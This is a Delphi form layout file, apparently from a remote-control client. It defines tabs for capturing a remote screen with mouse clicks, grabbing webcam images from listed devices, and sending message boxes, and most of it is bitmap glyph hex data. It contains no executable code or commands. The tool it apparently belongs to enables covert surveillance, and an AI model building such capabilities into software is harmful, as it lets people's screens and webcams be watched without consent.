📄 unitformcontrol.dfm
字号:
C2FFBFDCC2FFBFDCC2FFBFDCC2FFF7EDE6FFCEAA93F0FFFFFF00FFFFFF00CCA6
8DF0F7F1EDFFBFDCC2FFBFDCC2FFBFDCC2FFAFD3C5FF9CC8C9FF6EAFD1FFBAD9
C3FFBFDCC2FFBFDCC2FFBFDCC2FFF6EDE6FFCEAA93F0FFFFFF00FFFFFF00CDA7
8EF0F7F1ECFF4EAA7AFF4CA877FF4AA674FF357B9AFF549FD3FF549FD1FF3F86
AFFF409A67FF3E9865FF3C9663FFF6EEE6FFCEAB94F0FFFFFF00FFFFFF00CDA7
8EF0F7F2EDFFE8BDA1FFE7BB9FFFD0B392FF5E8276FF448E86FF418B87FF5683
80FFC7A682FFE0AE8EFFDEAC8BFFF6EEE6FFCEAB94F0FFFFFF00FFFFFF00CDA7
8FF0F7F3EEFFE7BB9FFFD1B693FF9FAA78FF6FB287FF65BD8AFF61BB87FF6BAB
7BFF919364FFC5A27DFFDDA988FFF6EEE7FFCEAB94F0FFFFFF00FFFFFF00CDA7
8FF0F7F4EFFFE6B99DFFB6B387FF88C293FF63C58FFF53BE80FF4FBA7AFF58BD
7FFF78B07CFFA3966AFFDCA784FFF6EEE7FFCEAB94F0FFFFFF00FFFFFF00CDA7
8FF0F7F5F0FFE5B89BFFA1B37FFF7DCDA0FF5EC590FF56C087FF52BE81FF52BC
7EFF6CBD87FF89905EFFDAA481FFF5EFE7FFCEAB94F0FFFFFF00FFFFFF00CDA7
8FF0F7F5F2FFE4B799FFA3B680FF82D0A7FF65C998FF5DC691FF59C28BFF58C1
87FF71C28EFF8C925FFFD9A27DFFF6F0E8FFCEAB94F0FFFFFF00FFFFFF00CDA7
8FF0F7F5F4FFE3B597FFB8B787FF93CBA1FF74D2A8FF67CB9BFF63C897FF6AC9
98FF83BB8BFFA5996AFFD79F7AFFF7F0E9FFCFAB94F0FFFFFF00FFFFFF00CDAB
95F0F4F3F2FFE3B495FFD0B48DFFA9B580FF93CCA1FF84D1AAFF82D0A6FF8BC2
94FF9A9E69FFC39D73FFD69D77FFF7F2EBFFCFAB94F0FFFFFF00FFFFFF00CFB2
9FE9ECECEBFEF4F4F3FFF7F5F4FFF7F5F4FFF7F5F4FFF7F5F4FFF7F5F4FFF7F5
F4FFF7F5F4FFF7F5F4FFF7F3ECFFF2EFE9FFCEAD97EFFFFFFF00FFFFFF00CEB3
A18DCFB19FE8CDAB95F0CDA78EF0CDA78EF0CDA78EF0CDA78EF0CDA78EF0CDA6
8EF0CDA68EF0CDA68EF0CDA68EF0CDAA93F0CDAF9B8FFFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00}
OnClick = BtnOpenClick
end
object Label1: TLabel
Left = 16
Top = 357
Width = 79
Height = 13
Anchors = [akLeft, akBottom]
Caption = 'Image quality'
Font.Charset = DEFAULT_CHARSET
Font.Color = clMenuHighlight
Font.Height = -11
Font.Name = 'Verdana'
Font.Style = []
ParentFont = False
end
object ProgressBarScreen: TProgressBar
Left = 2
Top = 5
Width = 17
Height = 305
Anchors = [akLeft, akTop, akBottom]
Orientation = pbVertical
TabOrder = 0
end
object TrackBarCalidad: TTrackBar
Left = 112
Top = 359
Width = 393
Height = 16
Cursor = crHandPoint
Anchors = [akLeft, akRight, akBottom]
Max = 100
Position = 50
TabOrder = 1
ThumbLength = 15
end
object CheckBoxMouseClicks: TCheckBox
Left = 15
Top = 386
Width = 18
Height = 17
Anchors = [akLeft, akBottom]
Font.Charset = DEFAULT_CHARSET
Font.Color = clMenuHighlight
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 2
end
object ImgCaptura: TImage32
Left = 24
Top = 8
Width = 345
Height = 305
Bitmap.ResamplerClassName = 'TLinearResampler'
BitmapAlign = baTopLeft
Scale = 1.000000000000000000
ScaleMode = smStretch
TabOrder = 3
OnMouseDown = ImgCapturaMouseDown
end
end
object TabWebcam: TTabSheet
Caption = 'Cam'
ImageIndex = 33
DesignSize = (
526
442)
object LabelPosicionCompresJpgWebcam: TLabel
Left = 305
Top = 348
Width = 26
Height = 13
Anchors = [akRight, akBottom]
Caption = '70%'
Font.Charset = DEFAULT_CHARSET
Font.Color = clMenuHighlight
Font.Height = -11
Font.Name = 'Verdana'
Font.Style = []
ParentFont = False
end
object LabelCalidadWebcam: TLabel
Left = 24
Top = 381
Width = 79
Height = 13
Anchors = [akLeft, akBottom]
Caption = 'Image quality'
Font.Charset = DEFAULT_CHARSET
Font.Color = clMenuHighlight
Font.Height = -11
Font.Name = 'Verdana'
Font.Style = []
ParentFont = False
end
object BtnCapturarWebcam: TSpeedButton
Left = 416
Top = 376
Width = 89
Height = 21
Anchors = [akRight, akBottom]
Caption = 'Shot'
Flat = True
Glyph.Data = {
36030000424D3603000000000000360000002800000010000000100000000100
18000000000000030000120B0000120B00000000000000000000D8E9ECD8E9EC
D8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9
ECD8E9ECD8E9ECD8E9ECD8E9EC7979795555554E4E4E4747473F3F3F3737372F
2F2F2828282121211B1B1B171717151515151515151515D8E9ECD8E9EC9A9A9A
D1D1D1CBCBCBC4C4C4BCBCBCB4B4B4ABABABA3A3A39B9B9B9494948E8E8E8989
89878787191919D8E9ECD8E9ECA2A2A2C7C7C7AFAFAF8F8F8F8A8A8A9494947A
7A7A7070707575755454544B4B4B6161618484841D1D1DD8E9ECD8E9ECC7D2D4
A5A6A69F9F9FCCDBDE5959595B5B5B4848484545454B4B4B373737C6D5D84F4F
4F626262838B8DD8E9ECD8E9ECD8E9ECC7D3D5A8ABAC9CA1A2B3B3B3CACACABF
BFBFBEBEBEC8C8C8898989707576737677939C9DD8E9ECD8E9ECD8E9ECD8E9EC
D1E0E3A5AAABBDBDBDB3B3B3A1A1A19C9C9C9A9A9A9C9C9CA5A5A59292927075
75C7D6D9D8E9ECD8E9ECD8E9ECD8E9ECC6CFD1C3C3C3DADADAAFAFAFD1D1D1F0
F0F0EFEFEFCECECEA6A6A6C7C7C77C7C7C98A2A4D8E9ECD8E9ECD8E9ECD8E9EC
C5CACBDBDBDBDADADAEAEAEADAD1CCD5AC91E3AE8AE6D9D3E4E4E4CBCBCBADAD
AD757A7BD8E9ECD8E9ECD8E9ECD8E9ECC9CBCBE8E8E8DDDDDDF9F9F9A49992E4
B99CEBB899E7B190F7F7F7CBCBCBCCCCCC626363D8E9ECD8E9ECD8E9ECD8E9EC
D2D4D4ECECECE3E3E3FAFAF9A49B94DAB9A2E5BBA1D8B096F7F7F7CECECEDADA
DA6C6D6DD8E9ECD8E9ECD8E9ECD8E9ECD9DEDEEDEDEDEAEAEAF3F3F3DFD4CCA5
9B94A49A93DCD1CAE9E9E9D3D3D3CFCFCF8B9091D8E9ECD8E9ECD8E9ECD8E9EC
DCE5E7EAEAEAF2F2F2EFEFEFF5F5F5FBFAFAFAFAF9EDEDEDDADADADFDFDFB9B9
B9B0BABCD8E9ECD8E9ECD8E9ECD8E9ECDAE9EBE2E7E8F1F1F1F5F5F5EEEEEEBE
BEBEBABABAE0E0E0E3E3E3DADADAB0B5B6D0E0E2D8E9ECD8E9ECD8E9ECD8E9EC
D8E9ECDCE9EBE4E9EAEEEEEEEFEFEFF1F1F1EDEDEDE6E6E6DADADAC5CACBCFDC
DED8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECDAE9ECE0EAECE4E9EAE4
E5E6E0E2E2DBE0E1D5DFE1D6E5E7D8E9ECD8E9ECD8E9ECD8E9EC}
OnClick = BtnCapturarWebcamClick
end
object BtnObtenerWebcams: TSpeedButton
Left = 416
Top = 343
Width = 89
Height = 22
Anchors = [akRight, akBottom]
Caption = 'Get Devices'
Flat = True
Glyph.Data = {
36030000424D3603000000000000360000002800000010000000100000000100
18000000000000030000120B0000120B00000000000000000000D8E9ECD8E9EC
D8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9EC72A68B237140196B
3723714072A68BD8E9ECD8E9EC7979795555554E4E4E4747473F3F3F3737372F
2F2F2828281D472C288C5364BA8D95D2B264BA8D288C536FA489D8E9EC9A9A9A
D1D1D1CBCBCBC4C4C4BCBCBCB4B4B4ABABABA3A3A31F6D3C62BA8B60BA87FFFF
FF60B98767BC8F1F6F3DD8E9ECA2A2A2C7C7C7AFAFAF8F8F8F8A8A8A9494947A
7A7A707070317B4C9CD4B6FFFFFFFFFFFFFFFFFF95D2B2196B37D8E9ECC7D2D4
A5A6A69F9F9FCCDBDE5959595B5B5B48484845454544855C90D3B192D6B1FFFF
FF65BC8C67BC8F1F6F3DD8E9ECD8E9ECC7D3D5A8ABAC9CA1A2B3B3B3CACACABF
BFBFBEBEBE8CAB9861AB8195D4B4BAE6D06ABB8F2D8F576FA489D8E9ECD8E9EC
D1E0E3A5AAABBDBDBDB3B3B3A1A1A19C9C9C9A9A9A9C9C9C809D8B5B94704F8E
6647896085B29DD8E9ECD8E9ECD8E9ECC6CFD1C3C3C3DADADAAFAFAFD1D1D1F0
F0F0EFEFEFCECECEA6A6A6C7C7C77C7C7C98A2A4D8E9ECD8E9ECD8E9ECD8E9EC
C5CACBDBDBDBDADADAEAEAEADAD1CCD5AC91E3AE8AE6D9D3E4E4E4CBCBCBADAD
AD757A7BD8E9ECD8E9ECD8E9ECD8E9ECC9CBCBE8E8E8DDDDDDF9F9F9A49992E4
B99CEBB899E7B190F7F7F7CBCBCBCCCCCC626363D8E9ECD8E9ECD8E9ECD8E9EC
D2D4D4ECECECE3E3E3FAFAF9A49B94DAB9A2E5BBA1D8B096F7F7F7CECECEDADA
DA6C6D6DD8E9ECD8E9ECD8E9ECD8E9ECD9DEDEEDEDEDEAEAEAF3F3F3DFD4CCA5
9B94A49A93DCD1CAE9E9E9D3D3D3CFCFCF8B9091D8E9ECD8E9ECD8E9ECD8E9EC
DCE5E7EAEAEAF2F2F2EFEFEFF5F5F5FBFAFAFAFAF9EDEDEDDADADADFDFDFB9B9
B9B0BABCD8E9ECD8E9ECD8E9ECD8E9ECDAE9EBE2E7E8F1F1F1F5F5F5EEEEEEBE
BEBEBABABAE0E0E0E3E3E3DADADAB0B5B6D0E0E2D8E9ECD8E9ECD8E9ECD8E9EC
D8E9ECDCE9EBE4E9EAEEEEEEEFEFEFF1F1F1EDEDEDE6E6E6DADADAC5CACBCFDC
DED8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECD8E9ECDAE9ECE0EAECE4E9EAE4
E5E6E0E2E2DBE0E1D5DFE1D6E5E7D8E9ECD8E9ECD8E9ECD8E9EC}
OnClick = BtnObtenerWebcamsClick
end
object ProgressBarWebcam: TProgressBar
Left = 2
Top = 8
Width = 17
Height = 296
Anchors = [akLeft, akTop, akBottom]
Orientation = pbVertical
TabOrder = 0
end
object ComboBoxWebcam: TComboBox
Left = 24
Top = 344
Width = 377
Height = 21
BevelInner = bvNone
BevelKind = bkFlat
BevelOuter = bvRaised
Anchors = [akLeft, akRight, akBottom]
Font.Charset = DEFAULT_CHARSET
Font.Color = clMenuHighlight
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ItemHeight = 13
ParentFont = False
TabOrder = 1
end
object TrackBarCalidadWebcam: TTrackBar
Left = 112
Top = 378
Width = 289
Height = 16
Cursor = crHandPoint
Anchors = [akLeft, akRight, akBottom]
Max = 100
Position = 70
TabOrder = 2
ThumbLength = 15
end
object ImgWebcam: TImage32
Left = 24
Top = 8
Width = 345
Height = 297
Bitmap.ResamplerClassName = 'TLinearResampler'
BitmapAlign = baTopLeft
Scale = 1.000000000000000000
ScaleMode = smStretch
TabOrder = 3
end
end
object Mensajes: TTabSheet
Caption = 'MsgBox'
ImageIndex = 31
DesignSize = (
526
442)
object BtnEnviarMensaje: TSpeedButton
Left = 422
Top = 377
Width = 72
Height = 22
Anchors = [akRight, akBottom]
Caption = 'Send'
Flat = True
Glyph.Data = {
06030000424D060300000000000036000000280000000F0000000F0000000100
180000000000D0020000C40E0000C40E00000000000000000000FFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFF148732037B1EFBFDFBFFFFFFFFFFFFFFFFFF000000FFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF158D3C43A15F33954CF9FC
FAFFFFFFFFFFFF000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2398521D924A17
9044118C3D3A9F5E80C19646A3622E9447F8FBF9FFFFFF000000FFFFFFFFFFFF
FFFFFFFFFFFFFFFFFF299B5B90CAA98DC8A58AC6A188C59E6AB68582C29748A5
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -